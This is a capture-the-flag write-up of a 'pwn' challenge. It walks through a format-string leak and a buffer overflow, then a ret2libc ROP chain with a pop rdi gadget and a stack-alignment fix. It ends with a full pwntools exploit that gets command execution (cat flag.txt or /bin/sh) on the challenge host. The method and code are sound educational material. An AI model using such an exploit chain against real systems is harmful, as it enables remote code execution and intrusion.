Challenge: Santa’s elves fixed some formatting errors from the old app, but he might have introduced some new bugs. Can you find them?
elfs.owasp.si:40005
This was another pwn type of challenge. However, as was later discussed, the organizers forgot to add a crucial file and so it was basically impossible to solve without help. Well, not impossible, but the difficulty level was orders of magnitude higher than anything else on here.
Lets first look at it with Ghidra. We have a main()
that calls a vuln()
and then a vuln2()
function.
And the second function.
Observations? In vuln()
we can see incorrect usage of printf()
. The code passes whatever user sends to fgets()
, this means we can abuse that.
In vuln2()
we can again see buffer overflow. 112 bytes is allocated to buffer, but fgets()
allows us to read 256 characters.
Judging from Day 17 we need to get the program to execute system("/bin/sh")
.
Now, at this point I did know the basic mechanics of x64 calling conventions and how to abuse the, but did not do much hands-on pwning. I found this article that explains this in great detail. The technique is called “return to libc”.
To explain it on high level, and backwards.
-
Last thing that happens is code return to address of
system
libc function with firs parameter (address stored in RDI) pointing to a string"/bin/sh"
. -
We can store the address of the string to RDI with the help of a “ROP gadget”. A gadget is a set of instruction that ends with
ret
that we can abuse. Remember, the stack that is writable has execution protection, so we can’t just send a shellcode and execute it. -
Put the string
"/bin/sh"
somewhere in memory. -
Find the location of the stack and libc, because that gets “randomized” on every run.
Now for some tools. Firs and foremost:
GDB PEDA is a Python addon for GDB that makes life with GDB bearable.
ropper tool to find ROP gadgets.
Pwntools insanely useful Python library for this type of tasks.
Lets start with something simple. We will need a ROP gadget, to load an address from stack to RDI, to call system
.
This address 0x0000000000400743
stays fixed as it is part of out binary.
Ok, now we need to figure out where our stack is. This is where that printf()
comes in. How printf
works is that you can give it a format string and depending on that it will take a certian number of arguments. In x64 calling convention the first 6 arguments are in registers (RDI, RSI, RDX, RCX, R8, R9) and after that up the stack. So by abusing printf()
we can actually read thins from the stack and print them, thus getting a read time image of the memory.
Since the stack location and libc location are randomized, we need to get that on every run, and this is why we also need pwntools
to “interact” with the program.
Let’s try this out.
First lets break in in vuln()+56
just before calling printf()
and then lets break on vuln2()+39
just before writing into the buffer.
And the before writing to buffer.
So the buffer on the stack is 0x7fffffffe8f0
and looking up the stack on the firs one we see an entry 0x7fffffffe970
. This is the previous RBP, because the next is the return address to main()
. That is always fixed relatively to what we need. So if we can read 0x7fffffffe970
we can calculate -0x10
to get the base of stack when vuln2()
is called and another -0x70
for the buffer size and we end up wit the correct 0x7FFFFFFFE8F0
address that we can use to do some more magic later.
Another thing we can get with printf
is an address in libc. That we need to call system()
.
Just by looking at the current system()
address we can see what are good candidates:
gdb-peda$ p system
$3 = {int (const char *)} 0x7ffff7e489c0 <__libc_system>
Looking at the stack this seems interesting:
0056| 0x7fffffffe978 --> 0x7ffff7e2809b (<__libc_start_main+235>: mov edi,eax)
With this, we can calculate a fixed difference between a known point in libc and system()
.
Or can we…?
At this point the organizers mistake came to light. The issue is, you need to know exactly what version of libc you are running against, as these offsets will be different from version to version.
I was given a hint in this form: libc.nullbyte.cat.
This is a site that lets you search for functions in various libc versions. The query above is already the result of my work, what I got was the version of libc (libc6_2.27-3ubuntu1.4_amd64). I could download that version and inspect it, or what I did was figure out exactly what version of Ubuntu was using it and pulled a docker image with that and played inside it.
What I found out was the the offset in __libc_start_main
was 231 and, as can be read from that page, the difference to system
was 0x2da40
.
So the process now, from start to finish:
- With
printf
get stack+32 and stack+56 with%10$p %13$p
(10th and 13th pointers) to know where stack is and where libc is. - Build a buffer that will overwrite the buffer and stored RBP (old base pointer)…
- Overwrite return address with the address or our gadget (
0x0000000000400743
, gadget pop rdi; ret;) - Add the value that will be popped into RDI, that is an already calculated offset from the detected stack location to our string
- The actual command string
Before showing the code, there was another thing that was stopping me. Altho the code worked on my system it crashed when I ran it on Ubuntu.
It crashed somewhere inside system
at a vector instruction.
0x7f29632b73f6: movq xmm0,QWORD PTR [rsp+0x8]
0x7f29632b73fc: mov QWORD PTR [rsp+0x8],rax
0x7f29632b7401: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7f29632b7406: movaps XMMWORD PTR [rsp+0x40],xmm0
0x7f29632b740b: call 0x7f29632a7230 <sigaction>
To quote from here:
The x86-64 System V ABI guarantees 16-byte stack alignment before a call, so libc system is allowed to take advantage of that for 16-byte aligned loads/stores. If you break the ABI, it’s your problem if things crash.
That was exactly what was happening here. To solve this, I just put another gadget (containing just ret
) on the stack before calling system()
.
This is the end code:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'DEBUG')
io = remote("elfs.owasp.si", 40005)
buf = io.recvline() # welcome back! What's your name again?
# get the data from stack
io.sendline('%10$p %13$p')
buf = io.recvline()
ar = buf.split()
adr = int(ar[2], 0)
print "Leak from stack: " + hex(adr)
print "Calculated start of buffer in vuln2 " + hex(adr - 0x10 - 0x70)
adr2 = int(ar[3], 0)
dif = -231 + 0x2da40
print "Leak from stack __libc_start_main + 231: " + hex(adr2)
print "Calculated system() " + hex(adr2 + dif)
# Prepare command
#cmd = "id\0"
#cmd = "ls\0"
cmd = "cat flag.txt\0"
#cmd = "/bin/sh\0"
# buffer 112
io.send("A" * 112)
# overwrite stroed RBP
io.send(pack(0x0102030405060708))
# overwrite stored return with gadget 0x0000000000400743 // gadget pop rdi; ret;
io.send(pack(0x0000000000400743))
# address of command in stack buffer
# beginning of func stack + rbp, pop gadget, cmd addr, ret gadget, system, return
io.send(pack(adr - 0x10 + 8+8+8+8+8+8))
# gadget 0x0000000000400744 // gadget ret;
io.send(pack(0x0000000000400744))
# system() addr 0x7ffff7e489c0
io.send(pack(adr2 + dif))
# return address - unneeded actually
io.send(pack(0x0102030405060708))
# shell cmd
io.send(cmd)
io.send("\n")
#io.interactive()
print io.recvall()
Running that with different commands, or /bin/sh + interactive, gives back the needed results.
Flag: xmas{Crystals-Parade-0fda-Wooden-Soldiers}
What did I learn: Too much for one line.
First I learned about GDB PEDA. It actually really useful.
Then I learned about gadgets and tools to search for them.
I learned more about x64 asm, calling conventions…
I learned some more python and pwntools. I tried doing everything with PHP, but neglected to turn off buffering with stdbuf
.
I used gdb in WSL! And that is saying something.